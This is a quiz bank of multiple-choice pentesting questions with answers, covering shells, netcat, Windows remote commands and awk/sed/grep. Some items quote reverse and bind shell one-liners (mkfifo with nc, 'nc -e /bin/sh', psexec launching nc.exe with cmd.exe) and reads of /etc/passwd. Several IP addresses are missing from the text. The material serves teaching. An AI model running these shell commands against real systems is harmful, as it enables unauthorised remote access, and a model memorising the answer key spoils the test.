1. Penetration Testing & Network Defense
Basics/Preliminaries
                    Peer Instruction Questions for Cybersecurity: Pentesting by William E. Johnson, Allison Luzader, Irfan Ahmed is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.

2. What is a shell?
A program that allows a user to display colorized output, clear and redraw the screen, etc.
A program that allows a user to send raw commands (stdin) and get a raw response back (stdout)
A program that contains a terminal and used to provide additional features to the terminal
An exploitation mechanism that allows code to inject itself into a running process
A program used to encapsulate and isolate a running binary through emulated system calls (such as Wine)
Answer: B
Category: Shell vs. Term

3. What is a terminal?
A program that encapsulates a shell to provide more features such as colorized output and the ability to redraw the screen
A program that allows a user to send raw commands (stdin) and get a raw response back (stdout)
A program that facilitates remote access between machines
A program used to encapsulate and isolate a running binary through emulated system calls (such as Wine)
A program that allows remote termination of running processes
Answer: A
Category: Shell vs. Term

4. What does this pair of commands best accomplish
What does this pair of commands best accomplish? mkfifo pipe /bin/sh 0<pipe | nc [pentester IP] >pipe
Create a local netcat server that serves a bash instance
Run a shell script called “pipe” and serve it to a listener on the pentester’s IP
Redirect stdin and stdout of a bash instance to a listener on the pentester’s IP
Access stdin and stdout of a remotely running bash instance on the local pentester’s IP using a named pipe
Answer: C
Category: Simple proxy

5. You’ve established remote shell access to a machine with Netcat
You’ve established remote shell access to a machine with Netcat. Which of these commands will not function?
cat /etc/passwd
whoami
more /etc/passwd
hostname id
Answer: C
Category: Shell vs. Term

6. You’ve established remote shell access to a machine with Netcat
You’ve established remote shell access to a machine with Netcat. Which of these commands will function?
more /etc/passwd
vim /etc/passwd
cat /etc/passwd
less /etc/passwd
top /etc/passwd
Answer: C
Category: Shell vs. term

7. You need terminal access to a remote machine to make use of a particular application. Assuming the machine has servers for each of these, which of these utilities will best provide that access?
Telnet
Netcat
tsh
SSH
A or D
Answer: D
Category: Shell vs. Term

8. What does this command accomplish
What does this command accomplish? C:\> for /L %%i in (1,1,255) do sc \\ %%i query
Attempt to connect with SMB to machines on /24 and list their running services in a command line
Attempt to connect with SMB to machines on /24 and list their open ports in a command line
Attempt to connect with SMB to machines on /24 and list their running services in a .bat script
Attempt to connect with SMB to machines on /24 and list their open ports in a .bat script
Answer: C
Maybe this is too much info, but key pieces of information are the variable with two “%%”s indicating this belongs to a script, and sc query queries services
Category: Remote access

9. What does this command best accomplish? C:\> wmic /node: /user:administrator /password:password process list full
Send full process information to remote node
Receive full process information from node
Receive full process information for processes started by user “administrator” from
Send full process information for processes started by user “administrator” to
Answer: B
Source:
Category: Remote access

10. What does this command accomplish? nc –v –w 2 137.30.126.111 750
Scan port 750 on
Open a bind shell on for 750 seconds
Access a Netcat listener at on port 750
Create a reverse shell and send to a remote listener at on port 750
Answer: A
Category: Port scanning

11. What does this command accomplish? nc –e /bin/sh 137.30.126.111 750
Scan port 750 on
Open a bind shell on for 750 seconds
Access a Netcat listener at on port 750
Create a reverse shell and send to a remote listener at on port 750
Answer: D
Category: Reverse shell

12. What does the following command best accomplish. C:\> psexec \\137
What does the following command best accomplish? C:\> psexec \\ u myuser –p mypassword C:\nc.exe –l –p 1234 –e cmd.exe
Create a bind shell on the local Windows machine that requires a user login
Create a reverse shell on the local Windows machine that automatically logs into to provide the shell
Log in to and create a bind shell on
Log into a reverse shell that was provided to the local machine from
Answer: C
Category: Bind shell

13. You’re running this awk command against text output from a recon framework. What are the results? awk -F"," '{print $1, $3, $4}' results.out
Insert commas after columns 1, 3, and 4 in the results file
Print columns 1, 3, and 4 of a CSV results file
Combine columns 1, 3, and 4 of each CSV file in the current directory and print output to results.out
Insert commas between columns 1, 3, and 4 and print those to results.out
Answer: B
Category: awk

14. You’re running this sed command against a plaintext file
You’re running this sed command against a plaintext file. What does it accomplish? sed 's/,/\ /g’ input.txt
Add a comma followed by a space between the first two tokens in the file
Add a comma followed by a space between each token in the file
Replace all spaces with commas in the file
Replace the first space with a comma in the file
Replace all commas with spaces in the file
Answer: E
Category: sed

15. What does this command accomplish. grep 137. 30. 120. 1 file
What does this command accomplish? grep file.txt | sed 's/,/\ /g’| awk ‘{print $4}’ > file_.txt
Run awk on file_.txt to isolate the 4th column, replace any extraneous commas with spaces, and only print lines that contain “ ”, saving to file.txt
Find lines in file.txt that contain “ ”, replace all commas with spaces, and then print the 4th column to file_.txt
Find file.txt on , replace all commas in the file with spaces, and print the fourth column out to file_.txt
Isolate the fourth column of file_.txt, replace extraneous commas with spaces, and save it to the found file.txt file on
Answer: B
Category: grep, awk, sed

16. Given a plaintext output file from a port scanner you’ve run, which of these tools will best help you find sections in the file based on some common pattern?
sed
awk
grep
bind
A and D
Answer: C
Category: grep